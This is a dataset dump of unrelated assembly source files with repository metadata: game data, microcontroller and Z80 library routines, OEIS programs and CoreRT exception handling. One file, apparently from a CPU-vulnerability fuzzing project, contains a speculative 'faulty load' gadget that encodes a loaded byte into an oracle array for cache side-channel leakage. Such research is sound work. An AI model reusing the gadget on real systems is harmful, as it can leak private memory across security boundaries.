db 85 ; base speed
db 72 ; base special
db NORMAL ; species type 1
db PSYCHIC ; species type 2
db 60 ; catch rate
db 149 ; base exp yield
INCBIN "pic/ymon/girafarig.pic",0,1 ; 55, sprite dimensions
dw GirafarigPicFront
dw GirafarigPicBack
; attacks known at lvl 0
db TACKLE
db GROWL
db 0
db 0
db 0 ; growth rate
; learnset
tmlearn 6
tmlearn 9
tmlearn 24
tmlearn 25,26,29,31,32
tmlearn 34,39
tmlearn 42,44
tmlearn 50,54
db Bank(GirafarigPicFront) ; padding
| 19.689655 | 60 | 0.716287 |
e7283c0618f5828342a4ec9a0c5da23ce65cc34e | 2,499 | asm | Assembly | LabFinal_CPU2/Common/F2837xD_DBGIER.asm | BSpwr/BS-Equalizer | 0672a3c44b9e28e2b251eda4be000405f21ac43f | [
"MIT"
] | null | null | null | LabFinal_CPU2/Common/F2837xD_DBGIER.asm | BSpwr/BS-Equalizer | 0672a3c44b9e28e2b251eda4be000405f21ac43f | [
"MIT"
] | null | null | null | LabFinal_CPU2/Common/F2837xD_DBGIER.asm | BSpwr/BS-Equalizer | 0672a3c44b9e28e2b251eda4be000405f21ac43f | [
"MIT"
] | 1 | 2021-02-08T03:40:45.000Z | 2021-02-08T03:40:45.000Z | ;//###########################################################################
;//
;// FILE: F2837xD_DBGIER.asm
;//
;// TITLE: Set the DBGIER register
;//
;// DESCRIPTION:
;//
;// Function to set the DBGIER register (for realtime emulation).
;// Function Prototype: void SetDBGIER(Uint16)
;// Usage: SetDBGIER(value);
;// Input Parameters: Uint16 value = value to put in DBGIER register.
;// Return Value: none
;//
;//###########################################################################
;// $TI Release: F2837xD Support Library v3.10.00.00 $
;// $Release Date: Tue May 26 17:13:46 IST 2020 $
;// $Copyright:
;// Copyright (C) 2013-2020 Texas Instruments Incorporated - http://www.ti.com/
;//
;// Redistribution and use in source and binary forms, with or without
;// modification, are permitted provided that the following conditions
;// are met:
;//
;// Redistributions of source code must retain the above copyright
;// notice, this list of conditions and the following disclaimer.
;//
;// Redistributions in binary form must reproduce the above copyright
;// notice, this list of conditions and the following disclaimer in the
;// documentation and/or other materials provided with the
;// distribution.
;//
;// Neither the name of Texas Instruments Incorporated nor the names of
;// its contributors may be used to endorse or promote products derived
;// from this software without specific prior written permission.
;//
;// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
;// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
;// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
;// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
;// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
;// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
;// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
;// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
;// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
;// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
;// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;// $
;//###########################################################################
.global _SetDBGIER
.text
_SetDBGIER:
MOV *SP++,AL
POP DBGIER
LRETR
;//
;// End of file
;//
| 40.967213 | 79 | 0.641056 |
5f6fb12ea3294acf5f6ede7a4e8262ee6e4a4baa | 341 | asm | Assembly | libsrc/stdio/enterprise/fgetc_cons.asm | grancier/z180 | e83f35e36c9b4d1457e40585019430e901c86ed9 | [
"ClArtistic"
] | null | null | null | libsrc/stdio/enterprise/fgetc_cons.asm | grancier/z180 | e83f35e36c9b4d1457e40585019430e901c86ed9 | [
"ClArtistic"
] | null | null | null | libsrc/stdio/enterprise/fgetc_cons.asm | grancier/z180 | e83f35e36c9b4d1457e40585019430e901c86ed9 | [
"ClArtistic"
] | 1 | 2019-12-03T23:57:48.000Z | 2019-12-03T23:57:48.000Z | ;
; MSX C Library
;
; getkey() Wait for keypress
;
; Stefano Bodrato - 2011
;
;
; $Id: fgetc_cons.asm,v 1.4 2016/06/12 17:07:43 dom Exp $
;
SECTION code_clib
PUBLIC fgetc_cons
PUBLIC _fgetc_cons
.fgetc_cons
._fgetc_cons
ld a,69h ; keyboard channel
rst $30 ; EXOS
defb 5 ; output to channel
ld h,0
ld l,b
ret
| 13.115385 | 57 | 0.642229 |
f95e5fabbb4aa310a21aa0e0829683493cb8315b | 6,949 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca.log_21829_657.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca.log_21829_657.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca.log_21829_657.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %rbp
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0x97a3, %rbx
nop
nop
nop
nop
and %rsi, %rsi
mov $0x6162636465666768, %r10
movq %r10, %xmm5
movups %xmm5, (%rbx)
nop
nop
and %r10, %r10
lea addresses_A_ht+0x3267, %rsi
lea addresses_UC_ht+0x11167, %rdi
nop
nop
nop
add %r12, %r12
mov $71, %rcx
rep movsw
nop
nop
nop
dec %rdi
lea addresses_D_ht+0x4aaf, %rsi
lea addresses_WC_ht+0x1e157, %rdi
nop
nop
nop
nop
xor %rbp, %rbp
mov $64, %rcx
rep movsq
nop
nop
nop
nop
nop
add %rdi, %rdi
lea addresses_WC_ht+0xa1bb, %rsi
lea addresses_normal_ht+0xae47, %rdi
and $43853, %rbx
mov $46, %rcx
rep movsl
nop
nop
nop
nop
nop
sub $40951, %rdi
lea addresses_D_ht+0x1aa67, %rsi
lea addresses_WC_ht+0x12467, %rdi
nop
nop
nop
nop
dec %rdx
mov $8, %rcx
rep movsl
nop
nop
nop
nop
add $57476, %r10
lea addresses_normal_ht+0xe207, %r12
nop
nop
nop
sub %rsi, %rsi
vmovups (%r12), %ymm4
vextracti128 $0, %ymm4, %xmm4
vpextrq $0, %xmm4, %rdx
nop
inc %rdx
lea addresses_D_ht+0x1bd87, %r12
nop
nop
nop
nop
nop
and $19651, %r10
mov (%r12), %bx
nop
nop
nop
sub $20351, %rsi
lea addresses_normal_ht+0x1d987, %rbp
nop
nop
add %rbx, %rbx
mov (%rbp), %esi
nop
nop
add %rsi, %rsi
lea addresses_UC_ht+0x17e67, %rbp
clflush (%rbp)
nop
nop
xor %r12, %r12
mov $0x6162636465666768, %rdi
movq %rdi, %xmm6
movups %xmm6, (%rbp)
nop
nop
and $31776, %rsi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r14
push %r9
push %rax
push %rbp
push %rcx
push %rdx
push %rsi
// Store
lea addresses_UC+0x7867, %rdx
nop
nop
nop
nop
nop
cmp $20429, %r14
mov $0x5152535455565758, %rsi
movq %rsi, %xmm1
vmovups %ymm1, (%rdx)
xor %rbp, %rbp
// Store
lea addresses_WT+0x1e27, %rsi
nop
sub %rcx, %rcx
movb $0x51, (%rsi)
nop
nop
nop
nop
nop
add %rsi, %rsi
// Faulty Load
lea addresses_D+0x19267, %rdx
nop
nop
nop
sub $39660, %r14
vmovups (%rdx), %ymm0
vextracti128 $0, %ymm0, %xmm0
vpextrq $1, %xmm0, %r9
lea oracles, %rax
and $0xff, %r9
shlq $12, %r9
mov (%rax,%r9,1), %r9
pop %rsi
pop %rdx
pop %rcx
pop %rbp
pop %rax
pop %r9
pop %r14
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_D', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_UC', 'same': False, 'AVXalign': False, 'congruent': 7}}
{'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_WT', 'same': False, 'AVXalign': False, 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_D', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 2}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_A_ht', 'congruent': 11}, 'dst': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 8}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_D_ht', 'congruent': 3}, 'dst': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 4}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 1}, 'dst': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 3}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_D_ht', 'congruent': 11}, 'dst': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 9}}
{'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 4}}
{'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': True, 'congruent': 3}}
{'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 1}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_UC_ht', 'same': True, 'AVXalign': False, 'congruent': 9}}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
| 34.063725 | 2,999 | 0.659663 |
01513ebaeb36a77317f0bffdf7fb0c11797d4e93 | 376 | asm | Assembly | programs/oeis/267/A267314.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/267/A267314.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/267/A267314.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A267314: Expansion of 2*x*(1 + 2*x - x^2)/((1 - x)*(1 + x^2)^2).
; 0,2,6,0,-8,2,14,0,-16,2,22,0,-24,2,30,0,-32,2,38,0,-40,2,46,0,-48,2,54,0,-56,2,62,0,-64,2,70,0,-72,2,78,0,-80,2,86,0,-88,2,94,0,-96,2,102,0,-104,2,110,0,-112,2,118,0,-120,2,126,0,-128,2,134,0,-136,2,142,0
lpb $0
add $2,$0
sub $0,1
add $3,$2
mov $1,$3
sub $2,$3
add $3,$2
lpe
mul $1,2
mov $0,$1
| 26.857143 | 206 | 0.515957 |
e4489f084e9539b23b18a95aa1d75e317051cf36 | 338 | asm | Assembly | programs/oeis/052/A052991.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/052/A052991.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/052/A052991.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A052991: Expansion of (1-x-x^2)/(1-3x-x^2).
; 1,2,6,20,66,218,720,2378,7854,25940,85674,282962,934560,3086642,10194486,33670100,111204786,367284458,1213058160,4006458938,13232434974,43703763860,144343726554,476734943522,1574548557120
mov $1,1
lpb $0
sub $0,1
add $2,$1
add $1,$2
add $3,$1
mov $2,$3
mov $3,$1
lpe
mov $0,$1
| 24.142857 | 189 | 0.701183 |
6c1509d469b332ae534591e4e25ad0234499b271 | 301 | asm | Assembly | libsrc/_DEVELOPMENT/l/sccz80/8-gbz80/l_mod_u.asm | ahjelm/z88dk | c4de367f39a76b41f6390ceeab77737e148178fa | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/_DEVELOPMENT/l/sccz80/8-gbz80/l_mod_u.asm | ahjelm/z88dk | c4de367f39a76b41f6390ceeab77737e148178fa | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/_DEVELOPMENT/l/sccz80/8-gbz80/l_mod_u.asm | ahjelm/z88dk | c4de367f39a76b41f6390ceeab77737e148178fa | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z |
SECTION code_clib
SECTION code_l_sccz80
PUBLIC l_mod_u
EXTERN ___divu16_bcde
; signed division
; hl = de/hl, de = de%hl
l_mod_u:
; Delegate to the sdcc routine
; Entry BC=dividend, DE=divisor
; Exit: BC=quotient, DE=remainder
ld c,e
ld b,d
ex de,hl
call ___divu16_bcde
ld l,e
ld h,d
ret
| 14.333333 | 34 | 0.724252 |
e0075d2f69c020e939110ff6f2d35f64ac72b686 | 387 | asm | Assembly | programs/oeis/044/A044757.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/044/A044757.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/044/A044757.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A044757: Numbers n such that string 4,4 occurs in the base 10 representation of n but not of n+1.
; 44,144,244,344,449,544,644,744,844,944,1044,1144,1244,1344,1449,1544,1644,1744,1844,1944,2044,2144,2244,2344,2449,2544,2644,2744,2844,2944,3044,3144,3244,3344,3449,3544,3644,3744,3844
mov $2,16
add $2,$0
gcd $2,10
trn $2,5
add $2,28
mov $1,$2
add $1,16
mov $3,$0
mul $3,100
add $1,$3
| 27.642857 | 185 | 0.713178 |
a3335c66dfd6568debc5a3601eb570d57570b260 | 309 | asm | Assembly | programs/oeis/021/A021316.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/021/A021316.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/021/A021316.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A021316: Decimal expansion of 1/312.
; 0,0,3,2,0,5,1,2,8,2,0,5,1,2,8,2,0,5,1,2,8,2,0,5,1,2,8,2,0,5,1,2,8,2,0,5,1,2,8,2,0,5,1,2,8,2,0,5,1,2,8,2,0,5,1,2,8,2,0,5,1,2,8,2,0,5,1,2,8,2,0,5,1,2,8,2,0,5,1,2,8,2,0,5,1,2,8,2,0,5,1,2,8,2,0,5,1,2,8
add $0,1
mov $1,10
pow $1,$0
mul $1,2
div $1,624
mod $1,10
mov $0,$1
| 28.090909 | 199 | 0.540453 |
ec61dd265ffa7c92f9c9095001290305d2cb5fac | 458 | asm | Assembly | libsrc/_DEVELOPMENT/input/sms/z80/asm_in_wait_key.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/_DEVELOPMENT/input/sms/z80/asm_in_wait_key.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/_DEVELOPMENT/input/sms/z80/asm_in_wait_key.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z | ; ===============================================================
; Apr 2014
; ===============================================================
;
; void in_wait_key(void)
;
; Busy wait until a key is pressed.
;
; ===============================================================
SECTION code_clib
SECTION code_input
PUBLIC asm_in_wait_key
EXTERN asm_in_test_key
asm_in_wait_key:
; uses : af
call asm_in_test_key
jr z, asm_in_wait_key
ret
| 17.615385 | 65 | 0.41048 |
85143f07000e9eca86c5f3c889dcad6c122b68e7 | 511 | asm | Assembly | libsrc/target/cpm/gsx/gios_1pm_callee.asm | ahjelm/z88dk | c4de367f39a76b41f6390ceeab77737e148178fa | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/target/cpm/gsx/gios_1pm_callee.asm | C-Chads/z88dk | a4141a8e51205c6414b4ae3263b633c4265778e6 | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/target/cpm/gsx/gios_1pm_callee.asm | C-Chads/z88dk | a4141a8e51205c6414b4ae3263b633c4265778e6 | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z |
;
; Invoke a GSX/GIOS function with a single parameter in "intin"
;
;
; $Id: gios_1pm_callee.asm $
;
SECTION code_clib
PUBLIC gios_1pm_callee
PUBLIC _gios_1pm_callee
EXTERN gios
EXTERN gios_ctl
EXTERN gios_intin
PUBLIC asm_gios_1pm
gios_1pm_callee:
_gios_1pm_callee:
pop af
pop de ; parameter
pop bc ; fn number
push af
.asm_gios_1pm
ld hl,gios_intin
ld (hl),e
inc hl
ld (hl),d
ld a,1
ld hl,gios_ctl+6 ; parameter count (n_intin)
ld (hl),a
inc hl
ld (hl),0
ld h,b
ld l,c
jp gios
| 10.428571 | 63 | 0.710372 |
8dea2646c3d031e394e905c8c054e61a07227411 | 21,604 | asm | Assembly | src/Native/Runtime/arm/ExceptionHandling.asm | LaudateCorpus1/corert | d97588e5f88f152250558ab78f4f2076c6dafb5d | [
"MIT"
] | 2 | 2018-11-13T09:45:21.000Z | 2019-01-22T18:19:24.000Z | src/Native/Runtime/arm/ExceptionHandling.asm | LaudateCorpus1/corert | d97588e5f88f152250558ab78f4f2076c6dafb5d | [
"MIT"
] | null | null | null | src/Native/Runtime/arm/ExceptionHandling.asm | LaudateCorpus1/corert | d97588e5f88f152250558ab78f4f2076c6dafb5d | [
"MIT"
] | 1 | 2021-10-16T04:48:48.000Z | 2021-10-16T04:48:48.000Z | ;; Licensed to the .NET Foundation under one or more agreements.
;; The .NET Foundation licenses this file to you under the MIT license.
;; See the LICENSE file in the project root for more information.
#include "AsmMacros.h"
TEXTAREA
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; RhpThrowHwEx
;;
;; INPUT: R0: exception code of fault
;; R1: faulting IP
;;
;; OUTPUT:
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
NESTED_ENTRY RhpThrowHwEx
#define STACKSIZEOF_ExInfo ((SIZEOF__ExInfo + 7)&(~7))
#define rsp_offsetof_ExInfo 0
#define rsp_offsetof_Context STACKSIZEOF_ExInfo
PROLOG_NOP mov r2, r0 ;; save exception code into r2
PROLOG_NOP mov r0, sp ;; get SP of fault site
PROLOG_NOP add lr, r1, #2 ;; 'faulting IP' += 2, we do this because everywhere else we treat the
;; faulting IP as a return-address and optionally subtract one when doing
;; EH-related things (but not subtracting 2 when doing GC-related things).
;; The fault IP here will be the start of the faulting instruction, so +2
;; will point to either the next instruction or the middle of this
;; instruction. Either way, when the dispatch / stackwalk code deals with
;; this address it'll apply a -2 for EH range checks and the GC-related
;; operations don't need to be precise here because the fault location
;; isn't a GC safe point
;; Setup a PAL_LIMITED_CONTEXT on the stack {
PROLOG_NOP vpush {d8-d15}
PROLOG_NOP push {r0,lr} ;; push {sp, pc} of fault site
PROLOG_PUSH_MACHINE_FRAME ;; unwind code only
PROLOG_PUSH {r0,r4-r11,lr}
;; } end PAL_LIMITED_CONTEXT
PROLOG_STACK_ALLOC STACKSIZEOF_ExInfo
; r0: SP of fault site
; r1: IP of fault site
; r2: exception code of fault
; lr: IP of fault site (as a 'return address')
mov r0, r2 ;; r0 <- exception code of fault
;; r2 = GetThread(), TRASHES r1
INLINE_GETTHREAD r2, r1
add r1, sp, #rsp_offsetof_ExInfo ;; r1 <- ExInfo*
mov r3, #0
str r3, [r1, #OFFSETOF__ExInfo__m_exception] ;; pExInfo->m_exception = null
mov r3, #1
strb r3, [r1, #OFFSETOF__ExInfo__m_passNumber] ;; pExInfo->m_passNumber = 1
mov r3, #0xFFFFFFFF
str r3, [r1, #OFFSETOF__ExInfo__m_idxCurClause] ;; pExInfo->m_idxCurClause = MaxTryRegionIdx
mov r3, #2
strb r3, [r1, #OFFSETOF__ExInfo__m_kind] ;; pExInfo->m_kind = ExKind.HardwareFault
;; link the ExInfo into the thread's ExInfo chain
ldr r3, [r2, #OFFSETOF__Thread__m_pExInfoStackHead]
str r3, [r1, #OFFSETOF__ExInfo__m_pPrevExInfo] ;; pExInfo->m_pPrevExInfo = m_pExInfoStackHead
str r1, [r2, #OFFSETOF__Thread__m_pExInfoStackHead] ;; m_pExInfoStackHead = pExInfo
;; set the exception context field on the ExInfo
add r2, sp, #rsp_offsetof_Context ;; r2 <- PAL_LIMITED_CONTEXT*
str r2, [r1, #OFFSETOF__ExInfo__m_pExContext] ;; pExInfo->m_pExContext = pContext
;; r0: exception code
;; r1: ExInfo*
bl RhThrowHwEx
LABELED_RETURN_ADDRESS RhpThrowHwEx2
;; no return
__debugbreak
NESTED_END RhpThrowHwEx
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; RhpThrowEx
;;
;; INPUT: R0: exception object
;;
;; OUTPUT:
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
NESTED_ENTRY RhpThrowEx
;; Setup a PAL_LIMITED_CONTEXT on the stack {
PROLOG_VPUSH {d8-d15}
PROLOG_PUSH {r0,lr} ;; Reserve space for SP and store LR
PROLOG_PUSH {r0,r4-r11,lr}
;; } end PAL_LIMITED_CONTEXT
PROLOG_STACK_ALLOC STACKSIZEOF_ExInfo
;; Compute and save SP at callsite.
add r1, sp, #(STACKSIZEOF_ExInfo + SIZEOF__PAL_LIMITED_CONTEXT)
str r1, [sp, #(rsp_offsetof_Context + OFFSETOF__PAL_LIMITED_CONTEXT__SP)]
;; r2 = GetThread(), TRASHES r1
INLINE_GETTHREAD r2, r1
;; There is runtime C# code that can tail call to RhpThrowEx using a binder intrinsic. So the return
;; address could have been hijacked when we were in that C# code and we must remove the hijack and
;; reflect the correct return address in our exception context record. The other throw helpers don't
;; need this because they cannot be tail-called from C#.
;; NOTE: we cannot use INLINE_THREAD_UNHIJACK because it will write into the stack at the location
;; where the tail-calling thread had saved LR, which may not match where we have saved LR.
ldr r1, [r2, #OFFSETOF__Thread__m_pvHijackedReturnAddress]
cbz r1, NotHijacked
ldr r3, [r2, #OFFSETOF__Thread__m_ppvHijackedReturnAddressLocation]
;; r0: exception object
;; r1: hijacked return address
;; r2: pThread
;; r3: hijacked return address location
add r12, sp, #(STACKSIZEOF_ExInfo + SIZEOF__PAL_LIMITED_CONTEXT) ;; re-compute SP at callsite
cmp r3, r12 ;; if (m_ppvHijackedReturnAddressLocation < SP at callsite)
blo TailCallWasHijacked
;; normal case where a valid return address location is hijacked
str r1, [r3]
b ClearThreadState
TailCallWasHijacked
;; Abnormal case where the return address location is now invalid because we ended up here via a tail
;; call. In this case, our hijacked return address should be the correct caller of this method.
;;
;; stick the previous return address in LR as well as in the right spots in our PAL_LIMITED_CONTEXT.
mov lr, r1
str lr, [sp, #(rsp_offsetof_Context + OFFSETOF__PAL_LIMITED_CONTEXT__LR)]
